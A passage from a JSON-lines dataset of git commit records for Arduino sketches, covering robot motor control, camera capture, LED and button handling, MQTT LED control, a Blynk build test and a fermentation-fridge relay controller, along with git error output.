uint8_t motorPin1_speed = 3;\nconst uint8_t motorPin1_A = A7;\n\nconst uint8_t motorPin2_1 = 7;\nconst uint8_t motorPin2_2 = 8;\nconst uint8_t motorPin2_speed = 6;\nconst uint8_t motorPin2_A = A6;\n\n\/*\nconst uint8_t motorPin3_1 = 10;\nconst uint8_t motorPin3_2 = 11;\nconst uint8_t motorPin3_speed = 9;\nconst uint8_t motorPin3_A = A5;\n*\/\n\nconst uint8_t rangeLimit = 15;\n\nbool spinCompleted = true;\nuint8_t nullResultCount = 0;\n\nNewPing sensor1(trigPin, echoPin, maxSenstorDistance);\n\n\nvoid setup()\n{\n \/\/ Motor\n pinMode(motorPin1_1, OUTPUT);\n pinMode(motorPin1_2, OUTPUT);\n pinMode(motorPin1_speed, OUTPUT);\n pinMode(motorPin1_A, INPUT);\n\n pinMode(motorPin2_1, OUTPUT);\n pinMode(motorPin2_2, OUTPUT);\n pinMode(motorPin2_speed, OUTPUT);\n pinMode(motorPin2_A, INPUT);\n\n \/*\n pinMode(motorPin3_1, OUTPUT);\n pinMode(motorPin3_2, OUTPUT);\n pinMode(motorPin3_speed, OUTPUT);\n pinMode(motorPin3_A, INPUT);\n\t*\/\n\n Serial.begin(9600); \/\/ Starts the serial communication\n}\n\n\nvoid SetMotor(int pinSpeed, int pin1, int pin2, int speed)\n{\n analogWrite(pinSpeed, abs(speed));\n if (speed < 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 255);\n }\n else\n {\n analogWrite(pin1, 255);\n analogWrite(pin2, 0);\n }\n\n if (speed == 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 0);\n }\n}\n\n\nvoid loop()\n{\n\tlong range = sensor1.ping_cm()\n\tif (range == 0)\n\t{\n\t\tnullResultCount++;\n\t\tif(nullResultCount < 10)\n\t\t{\n\t\t\tdelay(30);\n\t\t\treturn;\n\t\t}\n\t}\n\n\t\/\/ obstacle is further away than X cm\n\tif(spinCompleted && range > 0 && range > rangeLimit)\n\t{\n\t\tnullResultCount = 0;\n\n\t\t\/\/ drive\n\t SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, 255);\n\t SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, 255);\n \t\/\/SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, 0);\n\t}\n\telse\n\t{\n\t\tspinCompleted = false;\n\n\t\t\/\/ rotate\n\t SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, 255);\n \tSetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, 0);\n \t\/\/SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, 0);\n\n \tif(range > (rangeLimit * 2))\n \t{\n \t\tspinCompleted = true;\n \t}\n\t}\n\n\tdelay(50); \/\/ 29ms should be min between scans\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/self-driving-lib.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ba56dc2a4df64286199b76611847a59411f22615","subject":"Added Button ADC Tester","message":"Added Button ADC Tester\n","repos":"Duke-Medical-Instrumentation\/InceptionTI","old_file":"ButtonVoltageText.ino","new_file":"ButtonVoltageText.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/InceptionTI.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"aa8512e04ea988cc7d6fc5dff2ab75833f7cf1c5","subject":"Add MT9M034 RAW catpure example","message":"Add MT9M034 RAW catpure example","repos":"ArduCAM\/Arduino,ArduCAM\/Arduino,ArduCAM\/Arduino","old_file":"ArduCAM\/examples\/Shield_V2\/ArduCAM_Shield_V2_MT9M034_Camera_RAW\/ArduCAM_Shield_V2_MT9M034_Camera_RAW.ino","new_file":"ArduCAM\/examples\/Shield_V2\/ArduCAM_Shield_V2_MT9M034_Camera_RAW\/ArduCAM_Shield_V2_MT9M034_Camera_RAW.ino","new_contents":"\/\/ ArduCAM demo (C)2018 Lee\n\/\/ Web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to use most of the functions\n\/\/ of the library with a supported camera modules.\n\/\/ This demo was made for MT9M034 sensor.\n\/\/ It will turn the ArduCAM into a real digital camera with capture and playback functions.\n\/\/ 1.Continuous shooting and store the image to Micro SD\/TF card with RAW format.\n\/\/IF the FRAMES_NUM is 0X00, take one photos\n\/\/IF the FRAMES_NUM is 0X01, take two photos\n\/\/IF the FRAMES_NUM is 0X02, take three photos\n\/\/IF the FRAMES_NUM is 0X03, take four photos\n\/\/IF the FRAMES_NUM is 0X04, take five photos\n\/\/IF the FRAMES_NUM is 0X05, take six photos\n\/\/IF the FRAMES_NUM is 0X06, take seven photos\n\/\/IF the FRAMES_NUM is 0X07, continue shooting until the FIFO is full\n\/\/ This program requires the ArduCAM V4.0.0 (or above) library and ArduCAM shield V2\n\/\/ and use Arduino IDE 1.6.8 compiler or above\n\n#define FRAMES_NUM 0x07\n#include <SD.h>\n#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n\n#if !(defined (MT9M034_CAM))\n#error This demo can only support MT9M034_CAM.\n#endif\n#if !(defined ARDUCAM_SHIELD_V2 && defined MT9M034_CAM )\n#error Please select the hardware platform and camera module in the ..\/libraries\/ArduCAM\/memorysaver.h file\n#endif\n\n#define SD_CS 9\nconst int SPI_CS = 10;\n\nArduCAM myCAM(MT9M034, SPI_CS);\nuint32_t length = 0;\nchar str[8];\nvoid setup()\n{\n uint16_t vid;\n uint8_t temp = 0;\n Wire.begin();\n Serial.begin(115200);\n Serial.println(F(\"ArduCAM Start!\"));\n \/\/ set the SPI_CS as an output:\n pinMode(SPI_CS, OUTPUT);\n \/\/ initialize SPI:\n SPI.begin();\n while (1) {\n \/\/Check if the ArduCAM SPI bus is OK\n myCAM.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM.read_reg(ARDUCHIP_TEST1);\n if (temp != 0x55) {\n Serial.println(F(\"SPI interface Error!\"));\n delay(1000); continue;\n } else {\n Serial.println(F(\"SPI interface OK!\")); break;\n }\n }\n myCAM.InitCAM();\n myCAM.write_reg(ARDUCHIP_FRAMES, FRAMES_NUM);\n \/\/Initialize SD Card\n while (!SD.begin(SD_CS)) {\n Serial.println(F(\"SD Card Error\")); delay(1000);\n }\n Serial.println(F(\"SD Card detected!\"));\n}\nvoid loop()\n{\n GrabImage(str);\n}\nvoid GrabImage(char* str)\n{\n File outFile;\n char VL;\n byte buf[256];\n static int k = 0;\n \/\/Flush the FIFO\n myCAM.flush_fifo();\n \/\/Start capture\n myCAM.start_capture();\n Serial.println(F(\"Start Capture\"));\n \/\/Polling the capture done flag\n while (!myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK));\n length = myCAM.read_fifo_length();\n Serial.print(F(\"The fifo length is :\"));\n Serial.println(length, DEC);\n int PIC_CNT = length \/ 1233920; \/\/1233920 = 1280*960\n Serial.println(PIC_CNT, DEC);\n Serial.println(F(\"Capture Done.\"));\n while (PIC_CNT--) {\n k = k + 1;\n itoa(k, str, 10);\n strcat(str, \".raw\"); \/\/Generate file name\n static int k = 0;\n int i, j = 0;\n outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);\n if (! outFile)\n {\n Serial.println(F(\"File open error\"));\n return;\n }\n Serial.println(\"Writting the image data in RAW format...\");\n k = 0;\n \/\/Read 1280x960 byte from FIFO\n \/\/Save as RAW format\n for (i = 0; i < 1280; i++)\n for (j = 0; j < 964; j++)\n {\n VL = myCAM.read_fifo();\n buf[k++] = VL;\n \/\/Write image data to bufer if not full\n if (k >= 256)\n {\n \/\/Write 256 bytes image data to file from buffer\n outFile.write(buf, 256);\n k = 0;\n }\n }\n \/\/Close the file\n outFile.close();\n }\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n Serial.println(\"Image save OK!\");\n return;\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/Shield_V2\/ArduCAM_Shield_V2_MT9M034_Camera_RAW\/ArduCAM_Shield_V2_MT9M034_Camera_RAW.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5ce4e4407c7d29dffbe846ee392fd98f87015dc3","subject":"add arduino code","message":"add arduino code\n","repos":"chrisweb\/arduino-nodejs-music-quiz-game,chrisweb\/arduino-nodejs-music-quiz-game,chrisweb\/arduino-nodejs-music-quiz-game","old_file":"arduino\/main\/main.ino","new_file":"arduino\/main\/main.ino","new_contents":"\/\/ set pin numbers:\nconst int button1Pin = 2; \/\/ the number of the pushbutton pin\nconst int button2Pin = 7;\nconst int button3Pin = 12;\nconst int button4Pin = 13;\n\nconst int led1Pin = 4; \/\/ the number of the LED pin\nconst int led2Pin = 8;\nconst int led3Pin = 10;\nconst int led4Pin = 11;\n\nbool button1Active = true;\nint button1State = 0; \/\/ variable for reading the pushbutton status\n\nbool button2Active = true;\nint button2State = 0;\n\nbool button3Active = true;\nint button3State = 0;\n\nbool button4Active = true;\nint button4State = 0;\n\nString writeBuffer;\nString readBuffer;\n\nvoid setup() {\n \/\/ initialize the LED pin as an output:\n pinMode(led1Pin, OUTPUT);\n pinMode(led2Pin, OUTPUT);\n \/\/ initialize the pushbutton pin as an input:\n pinMode(button1Pin, INPUT);\n pinMode(button2Pin, INPUT);\n \/\/ initialize serial communication:\n Serial.begin(9600);\n}\n\nvoid serialEvent() {\n readBuffer = Serial.readString();\n Serial.println(\"------------\");\n Serial.println(readBuffer);\n Serial.println(\"------------\");\n if (readBuffer.length() == 4) {\n button1Active = readBuffer.charAt(0) == '0' ? false : true;\n button2Active = readBuffer.charAt(1) == '0' ? false : true;\n button3Active = readBuffer.charAt(2) == '0' ? false : true;\n button4Active = readBuffer.charAt(3) == '0' ? false : true;\n }\n}\n\nvoid loop() {\n \/\/ read the state of the pushbutton value:\n button1State = digitalRead(button1Pin);\n button2State = digitalRead(button2Pin);\n button3State = digitalRead(button3Pin);\n button4State = digitalRead(button4Pin);\n\n\n if (button1Active == true) {\n \/\/ check if the pushbutton is pressed.\n \/\/ if it is, the buttonState is HIGH:\n if (button1State == HIGH) {\n \/\/ turn LED on:\n digitalWrite(led1Pin, HIGH);\n } else {\n \/\/ turn LED off:\n digitalWrite(led1Pin, LOW);\n }\n }\n\n if (button2Active == true) {\n if (button2State == HIGH) {\n digitalWrite(led2Pin, HIGH);\n } else {\n digitalWrite(led2Pin, LOW);\n }\n }\n\n if (button3Active == true) {\n if (button3State == HIGH) {\n digitalWrite(led3Pin, HIGH);\n } else {\n digitalWrite(led3Pin, LOW);\n }\n }\n\n if (button4Active == true) {\n if (button4State == HIGH) {\n digitalWrite(led4Pin, HIGH);\n } else {\n digitalWrite(led4Pin, LOW);\n }\n }\n \n \/\/ send button status\n writeBuffer = String(button1Active) + String(button1State) \n + String(button2Active) + String(button2State) \n + String(button3Active) + String(button3State) \n + String(button4Active) + String(button4State);\n Serial.println(writeBuffer);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/main\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f45c192f68d907881ca3a5c927bc4efd08734c0e","subject":"second","message":"second\n","repos":"lindakellner\/attempt,lindakellner\/attempt","old_file":"pin_78.ino","new_file":"pin_78.ino","new_contents":" void setup() {\n pinMode(8, OUTPUT);\n pinMode(7, OUTPUT); \n}\n\n void loop() {\n digitalWrite(8, HIGH);\n delay(1000); \n digitalWrite(7, HIGH); \n delay(1000); \n digitalWrite(8, LOW);\n delay(1000);\n digitalWrite(7, LOW);\n delay(1000);\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pin_78.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4fb366e3728a49868f12a1a8f84fc7656f1fef34","subject":"Build test sketch","message":"Build test sketch\n","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library","old_file":"tests\/BlynkBuildTest\/BlynkBuildTest.ino","new_file":"tests\/BlynkBuildTest\/BlynkBuildTest.ino","new_contents":"\/**************************************************************\n * This is just a test of Blynk library build in Arduino IDE\n *\n * You should NOT flash this program\n * to your hardware or try to run it.\n *\n **************************************************************\/\n\n#if defined(ARDUINO_AVR_GEMMA) \\\n || defined(ARDUINO_attiny)\n\n #define BLYNK_NO_INFO\n #define BLYNK_NO_BUILTIN\n\n #define SKIP_WRITES_TEST\n\n#endif\n\n#include <BlynkSimpleUserDefined.h>\n\nchar auth[] = \"12345678901234567890123456789012\";\n\nvolatile uint8_t test;\n\n\/\/ This function is used by Blynk to receive data\nsize_t BlynkStreamRead(void* buf, size_t len)\n{\n uint8_t* byte_buff = (uint8_t*)buf;\n size_t res = len;\n while (len--) {\n *byte_buff++ = test;\n }\n return res;\n}\n\n\/\/ This function is used by Blynk to send data\nsize_t BlynkStreamWrite(const void* buf, size_t len)\n{\n uint8_t* byte_buff = (uint8_t*)buf;\n size_t res = len;\n while (len--) {\n test = *byte_buff++;\n }\n return res;\n}\n\nvoid setup()\n{\n Blynk.begin(auth);\n Blynk.connect();\n}\n\nBLYNK_WRITE(V3)\n{\n test = param.asInt();\n}\n\nBLYNK_READ(V4)\n{\n Blynk.virtualWrite(V10, millis(), BlynkFreeRam());\n\n Blynk.virtualWrite(V10, 1, 1U);\n Blynk.virtualWrite(V10, 1L, 1UL);\n Blynk.virtualWrite(V10, 1LL, 1ULL);\n\n#ifndef SKIP_WRITES_TEST\n\n Blynk.virtualWrite(V10, (int8_t)1, (uint8_t)1);\n Blynk.virtualWrite(V10, (int16_t)1, (uint16_t)1);\n Blynk.virtualWrite(V10, (int32_t)1, (uint32_t)1);\n \/\/Blynk.virtualWrite(V10, (int64_t)1, (uint64_t)1);\n\n Blynk.virtualWrite(V10, (size_t)1);\n\n Blynk.virtualWrite(V10, (float)1.0F);\n Blynk.virtualWrite(V10, (double)1.0);\n\n Blynk.virtualWrite(V10, String(\"Some string as String)\"));\n Blynk.virtualWrite(V10, \"Some string from RAM\");\n\n Blynk.virtualWrite(V10, BLYNK_F(\"Some string from Flash\"));\n\n BlynkParamAllocated param(128);\n Blynk.virtualWrite(V10, param);\n\n Blynk.virtualWriteBinary(V10, \"buffer\", 6);\n\n#endif\n\n}\n\nvoid loop()\n{\n bool hasIncomingData = (test > 0);\n\n if (!Blynk.run(hasIncomingData)) {\n\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/BlynkBuildTest\/BlynkBuildTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a9cb0e394887dfb0ef7f7abfb3af114470b0ef1","subject":"Add user button input to 7segment","message":"Add user button input to 7segment\n\nRemove infinite loop through numbers. Accept user button input to display next number\n","repos":"bugobliterator\/BUAGI,prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,prpplague\/Userspace-Arduino,prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,bugobliterator\/BUAGI,bugobliterator\/BUAGI,bugobliterator\/BUAGI,prpplague\/Userspace-Arduino","old_file":"arduino-makefile\/examples\/7segment\/7segment.ino","new_file":"arduino-makefile\/examples\/7segment\/7segment.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/prpplague\/Userspace-Arduino.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ceaa3428dbf558b6c48b2c6a3bfbb45e44b3ba0b","subject":"Add button example","message":"Add button example\n\n","repos":"oleveque\/KBOT","old_file":"Arduino Libraries\/KBOT\/examples\/Button\/Button.ino","new_file":"Arduino Libraries\/KBOT\/examples\/Button\/Button.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Libraries\/KBOT\/examples\/Button\/Button.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7100c58881b40be244651281d898178a4bf64a5a","subject":"src: start to rough in mqtt LED control","message":"src: start to rough in mqtt LED control\n","repos":"mhdawson\/arduino-esp8266,mhdawson\/arduino-esp8266","old_file":"MqttLEDs\/MqttLEDs.ino","new_file":"MqttLEDs\/MqttLEDs.ino","new_contents":"\/\/ Copyright 2016-2017 the project authors as listed in the AUTHORS file.\n\/\/ All rights reserved. Use of this source code is governed by the\n\/\/ license that can be found in the LICENSE file.\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include <Wire.h>\n#include <Adafruit_NeoPixel.h>\n\n\/\/ device specifics\n#include \"WirelessConfig.h\"\n\n#define LED_PIN D6\n#define LED_TOPIC \"house\/led\"\n\nWiFiClient wclient;\nESP8266WiFiGenericClass wifi;\n\nconst char* OFF = \"off\";\nconst char* RANGE = \"range\";\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(60, LED_PIN, NEO_GRB + NEO_KHZ800);\n\nvoid callback(char* topic, uint8_t* message, unsigned int length) {\n std::string messageBuffer((const char*) message, length);\n Serial.println(messageBuffer.c_str());\n \n if (0 == strcmp(messageBuffer.c_str(), OFF)) {\n for(uint16_t i=0; i <strip.numPixels(); i++) {\n strip.setPixelColor(i, strip.Color(0,0,0));\n }\n } else if (0 == strncmp(RANGE, messageBuffer.c_str(), strlen(RANGE))) {\n char* next = strtok((char*) messageBuffer.c_str(),\" \");\n next = strtok(nullptr,\" \");\n int start = atoi(next);\n next = strtok(nullptr,\" \");\n int end = atoi(next);\n next = strtok(nullptr,\" \");\n int R = atoi(next);\n next = strtok(nullptr,\" \");\n int G = atoi(next);\n next = strtok(nullptr,\" \");\n int B = atoi(next);\n if ((start < 0) || \n (start >= strip.numPixels()) ||\n (end >= strip.numPixels()) ||\n (end < 0) ||\n (end >= strip.numPixels()) ||\n (end < 0) ||\n (R > 255) ||\n (R < 0) ||\n (G > 255) ||\n (G < 0) ||\n (B > 255) ||\n (B < 0)) {\n Serial.println(\"Message Invalid\"); \n return; \n } \n\n end = end + 1;\n for(uint16_t i = start; i < end; i++) {\n strip.setPixelColor(i, strip.Color(R, G, B));\n }\n } else {\n Serial.println(\"Message Invalid\"); \n return; \n }\n \n strip.show();\n};\n\nPubSubClient client(mqttServerString, mqttServerPort, callback, wclient);\n\nvoid setup() {\n strip.begin();\n for(uint16_t i=0; i <strip.numPixels(); i++) {\n strip.setPixelColor(i, strip.Color(0,0,0));\n }\n strip.show(); \/\/ Initialize all pixels to 'off'\n \n Serial.begin(115200);\n Serial.println(\"starting\");\n\n \/\/ turn of the Access Point as we are not using it\n wifi.mode(WIFI_STA);\n\n WiFi.begin(ssid, pass);\n if (WiFi.waitForConnectResult() == WL_CONNECTED) {\n Serial.println(\"WiFi connected\");\n }\n}\n\nint count = 0;\n\nvoid loop() {\n client.loop();\n\n \/\/ make sure we are good for wifi\n if (WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n WiFi.reconnect();\n\n if (WiFi.waitForConnectResult() != WL_CONNECTED) {\n Serial.println(\"Failed to reconnect WIFI\");\n Serial.println(WiFi.waitForConnectResult());\n delay(100);\n return;\n }\n Serial.println(\"WiFi connected\");\n }\n\n if (!client.connected()) {\n Serial.println(\"PubSub not connected\");\n if (client.connect(\"irclient\")) {\n Serial.println(\"PubSub connected\");\n client.subscribe(LED_TOPIC);\n } else {\n Serial.println(\"PubSub failed to connect\");\n }\n }\n\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MqttLEDs\/MqttLEDs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"31a981eb3a24613726f237e18d4c1f2cb9abdce5","subject":"Initial commit","message":"Initial commit\n","repos":"beercanlah\/arduferm","old_file":"relay_controller.ino","new_file":"relay_controller.ino","new_contents":"\/\/ Include LCD library\n#include <LiquidCrystal.h>\n\n\/\/ Include pgmspace to store lookup table\n#include <avr\/pgmspace.h>\n\n\/\/ Pin layout\nconst byte starterPin = 3;\nconst byte compressorPin = 2;\nconst byte incrSetPointPin = 7;\nconst byte decrSetPointPin = 6;\n\n\/\/ Lookup table for thermistor. Substract 333 from ADC and then\n\/\/ use the result as an index. Temp is in 23.1 format. Range from -5\n\/\/ to 40 degrees only. Calculated for bridge formed by therm, 15k and 4.7V\n\/\/ the therm is 10k at 25C and has a B of 3988\nconst int adcSubstract = 51;\nconst int adcMax = 784;\nconst int temperatureTable[] PROGMEM = {1093,1086,1078,1071,1064,1057,1051,1044,1037,1031,1025,1019,1013,1007,1001,995,990,984,979,974,968,963,958,953,948,943,939,934,929,925,920,916,911,907,903,898,894,890,886,882,878,874,870,867,863,859,855,852,848,844,841,837,834,831,827,824,820,817,814,811,808,804,801,798,795,792,789,786,783,780,777,774,772,769,766,763,760,758,755,752,750,747,744,742,739,736,734,731,729,726,724,721,719,717,714,712,709,707,705,702,700,698,696,693,691,689,687,684,682,680,678,676,674,672,669,667,665,663,661,659,657,655,653,651,649,647,645,643,641,639,637,636,634,632,630,628,626,624,623,621,619,617,615,614,612,610,608,606,605,603,601,600,598,596,594,593,591,589,588,586,584,583,581,579,578,576,575,573,571,570,568,567,565,564,562,560,559,557,556,554,553,551,550,548,547,545,544,542,541,539,538,537,535,534,532,531,529,528,527,525,524,522,521,520,518,517,515,514,513,511,510,509,507,506,505,503,502,501,499,498,497,495,494,493,491,490,489,488,486,485,484,482,481,480,479,477,476,475,474,472,471,470,469,468,466,465,464,463,461,460,459,458,457,455,454,453,452,451,450,448,447,446,445,444,443,441,440,439,438,437,436,434,433,432,431,430,429,428,427,425,424,423,422,421,420,419,418,417,415,414,413,412,411,410,409,408,407,406,405,404,403,401,400,399,398,397,396,395,394,393,392,391,390,389,388,387,386,385,384,383,382,381,380,379,377,376,375,374,373,372,371,370,369,368,367,366,365,364,363,362,361,360,359,358,357,356,355,354,354,353,352,351,350,349,348,347,346,345,344,343,342,341,340,339,338,337,336,335,334,333,332,331,330,329,329,328,327,326,325,324,323,322,321,320,319,318,317,316,315,314,314,313,312,311,310,309,308,307,306,305,304,303,303,302,301,300,299,298,297,296,295,294,293,293,292,291,290,289,288,287,286,285,284,284,283,282,281,280,279,278,277,276,275,275,274,273,272,271,270,269,268,268,267,266,265,264,263,262,261,260,260,259,258,257,256,255,254,253,253,252,251,250,249,248,247,247,246,245,244,243,242,241,240,240,239,238,237,236,235,234,234,233,232,231,230,229,228,228,227,226,225,224,223,222,222,221,220,219,218,217,216,216,215,214,213,212,211,210,210,209,208,207,206,205,204,204,203,202,201,200,199,198,198,197,196,195,194,193,192,192,191,190,189,188,187,186,186,185,184,183,182,181,181,180,179,178,177,176,175,175,174,173,172,171,170,169,169,168,167,166,165,164,163,163,162,161,160,159,158,157,157,156,155,154,153,152,151,151,150,149,148,147,146,145,145,144,143,142,141,140,139,139,138,137,136,135,134,133,133,132,131,130,129,128,127,126,126,125,124,123,122,121,120,120,119,118,117,116,115,114,113,113,112,111,110,109,108,107,106,105,105,104,103,102,101,100,99,98,97,97,96,95,94,93,92,91,90,89,89,88,87,86,85,84,83,82,81,80,80,79,78,77,76,75,74,73,72,71,70,69,69,68,67,66,65,64,63,62,61,60,59,58,57,56,56,55,54,53,52,51,50,49,48,47,46,45,44,43,42,41,40,39,38,37,36,35,34,34,33,32,31,30,29,28,27,26,25,24,23,22,21,20,19,18,17,16,15,14,13,12,11,10,9,8};\n\n\/\/ LCD Screen\nLiquidCrystal lcd(8, 9, 13, 10, 12, 11);\n\n\/\/ buttons\nbyte pressCount;\n\n\/\/ Variables for state logic\nunsigned long previousMillis = 0;\nint setPoint = 250;\n\nboolean beenCooling = LOW;\nboolean needCooling = LOW;\nboolean canCool = HIGH;\nunsigned long coolingStarted;\nconst unsigned long starterPeriod = 500;\nboolean starting = LOW;\nint starterMeasurement;\nint maxStarterMeasurement;\n\n\nboolean inGracePeriod = LOW;\nconst unsigned long gracePeriod = 900000; \/\/ 15 min\nunsigned long gracePeriodStart;\n\nboolean inCooldownPeriod = LOW;\nconst unsigned long maxCoolingPeriod = 7200000; \/\/ 2h\nconst unsigned long cooldownPeriod = 1800000; \/\/ 30 min\nunsigned long cooldownPeriodStart;\n\nboolean errorDetected = LOW;\nconst unsigned long ignoreErrorPeriod = 5000;\nconst unsigned long errorWaitPeriod = 900000; \/\/ 15 min\nunsigned long errorWaitPeriodStart;\nunsigned int errorCount;\n\nvoid writeNumber(int number, int ncol, int nrow) {\n char* sign = \"+\";\n if (number < 0) {\n number *= -1;\n sign = \"-\";\n }\n \n \/\/ We will print the digit from right to left\n \/\/ since that makes calculations easier\n lcd.rightToLeft();\n lcd.setCursor(ncol + 4, nrow);\n lcd.print(number % 10);\n lcd.print(\".\");\n number \/= 10; \/\/ Integer division!\n lcd.print(number % 10);\n number \/= 10;\n if (number == 0) {\n lcd.print(sign);\n lcd.print(\" \");\n }\n else {\n lcd.print(number%10);\n lcd.print(sign);\n }\n lcd.leftToRight();\n}\n\nvoid writeCountdown(unsigned long number, int nDigits, int nCol, int nRow) {\n lcd.setCursor(nCol + nDigits - 1, nRow);\n lcd.rightToLeft();\n for (int i=0; i < nDigits; i++) {\n if ((number % 10 == 0) && (number \/ 10 == 0)) {\n lcd.print(\" \");\n }\n else {\n lcd.print(number % 10);\n }\n number \/= 10; \n }\n lcd.leftToRight();\n}\n\nint getTemperature() {\n int index = analogRead(A0) - adcSubstract;\n if (index < 0)\n {\n index = 0;\n }\n if (index>adcMax)\n {\n index = adcMax;\n }\n int temperature = pgm_read_word(&temperatureTable[index]);\n return temperature;\n}\n\nvoid setup() {\n \/\/ Buttons\n \/\/ digitalWrite HIGH sets internal pull up\n pinMode(incrSetPointPin, INPUT);\n digitalWrite(incrSetPointPin, HIGH);\n pinMode(decrSetPointPin, INPUT);\n digitalWrite(decrSetPointPin, HIGH);\n\n \/\/ Relays\n pinMode(starterPin, OUTPUT);\n pinMode(compressorPin, OUTPUT);\n\n \/\/ LCD screen\n lcd.begin(16, 2);\n lcd.clear();\n \/\/Serial.begin(57600);\n delay(500);\n}\n\nvoid loop() {\n \/\/ We only do something every period ms,\n \/\/ this could be done by an interupt,\n \/\/ Christia Kurtsiefer style, for now\n \/\/ we use millis().\n unsigned long currentMillis = millis();\n\n if (currentMillis - previousMillis > 100) {\n\n \/\/ Check whether we are starting\n if (currentMillis - coolingStarted > ignoreErrorPeriod) {\n starting = LOW;\n }\n else {\n starting = HIGH;\n }\n\n \/\/ Detect Error\n \/\/ Measure value through starterPin\n if(beenCooling) {\n starterMeasurement = analogRead(A2);\n\n \/\/ If we are starting record max value encountered\n if (starting) {\n\tif (starterMeasurement > maxStarterMeasurement) {\n\t maxStarterMeasurement = starterMeasurement;\n\t}\n }\n else { \n\t\/\/ If analog voltage is above threshold there is an error\n\tif (starterMeasurement > 750)\n\t {\n\t errorDetected = HIGH;\n\t errorWaitPeriodStart = currentMillis;\n\t errorCount++;\n\t }\n }\n }\n\n \/\/ Manage gracePeriod\n if (errorDetected) {\n \/\/ If the grace period is over reset boolean\n if (currentMillis - errorWaitPeriodStart > errorWaitPeriod) {\n\terrorDetected = LOW;\n }\n }\n\n \/\/ Manage gracePeriod\n if (inGracePeriod) {\n \/\/ If the grace period is over reset boolean\n if (currentMillis - gracePeriodStart > gracePeriod) {\n\tinGracePeriod = LOW;\n }\n }\n\n \/\/ Manage cooldownPeriod\n if (inCooldownPeriod) {\n \/\/ If the grace period is over reset boolean\n if (currentMillis - cooldownPeriodStart > cooldownPeriod) {\n\tinCooldownPeriod = LOW;\n }\n }\n \n\n \/\/ Temperature measurement\n int temperature = getTemperature();\n\n \/\/ Setpoint setting\n \/\/ When a button has been pressed, go and\n \/\/ change the setpoint\n if ((digitalRead(incrSetPointPin) == LOW) || \\\n\t(digitalRead(decrSetPointPin) == LOW))\n {\n\t\/\/ Figure out by how much to change setpoint\n\t\/\/ If buttons pressed down, then increment a lot\n\tint increment;\n\tif (pressCount > 10) {\n\t increment = 10;\n\t}\n\telse {\n\t increment = 1;\n\t}\n\n\t\/\/ Now increment \/ decrement according to\n\t\/\/ which button has been pressed\n\tif(digitalRead(incrSetPointPin) == LOW) {\n\t setPoint += increment;\n\t}\n\tif(digitalRead(decrSetPointPin) == LOW) {\n\t setPoint -= increment;\n\t}\n\tpressCount++;\n }\n else {\n pressCount = 0;\n }\n\n \/\/ Figure out whether you need cooling or not\n \/\/ Assume you can cool and then check whether \n \/\/ anything forbids you to cool.\n \/\/ After that check whether you really need to\n \/\/ cool\n canCool = HIGH;\n if (inGracePeriod) {\n canCool = LOW;\n }\n\n if (inCooldownPeriod) {\n canCool = LOW;\n }\n\n if (errorDetected) {\n canCool = LOW;\n }\n \n if (beenCooling) {\n \/\/ If you have been cooling, and\n \/\/ the temperature is not yet enough\n \/\/ below the set point, keep cooling\n if (temperature > setPoint - 10) {\n\tneedCooling = HIGH;\n }\n else {\n\tneedCooling = LOW;\n }\n }\n else {\n \/\/ If you haven't been cooling and the\n \/\/ temperature is high enough above setpoint\n \/\/ keep cooling\n if (temperature > setPoint + 10) {\n\tneedCooling = HIGH;\n }\n else {\n\tneedCooling = LOW;\n }\n }\n\n \/\/ Do the cooling or not\n if (needCooling 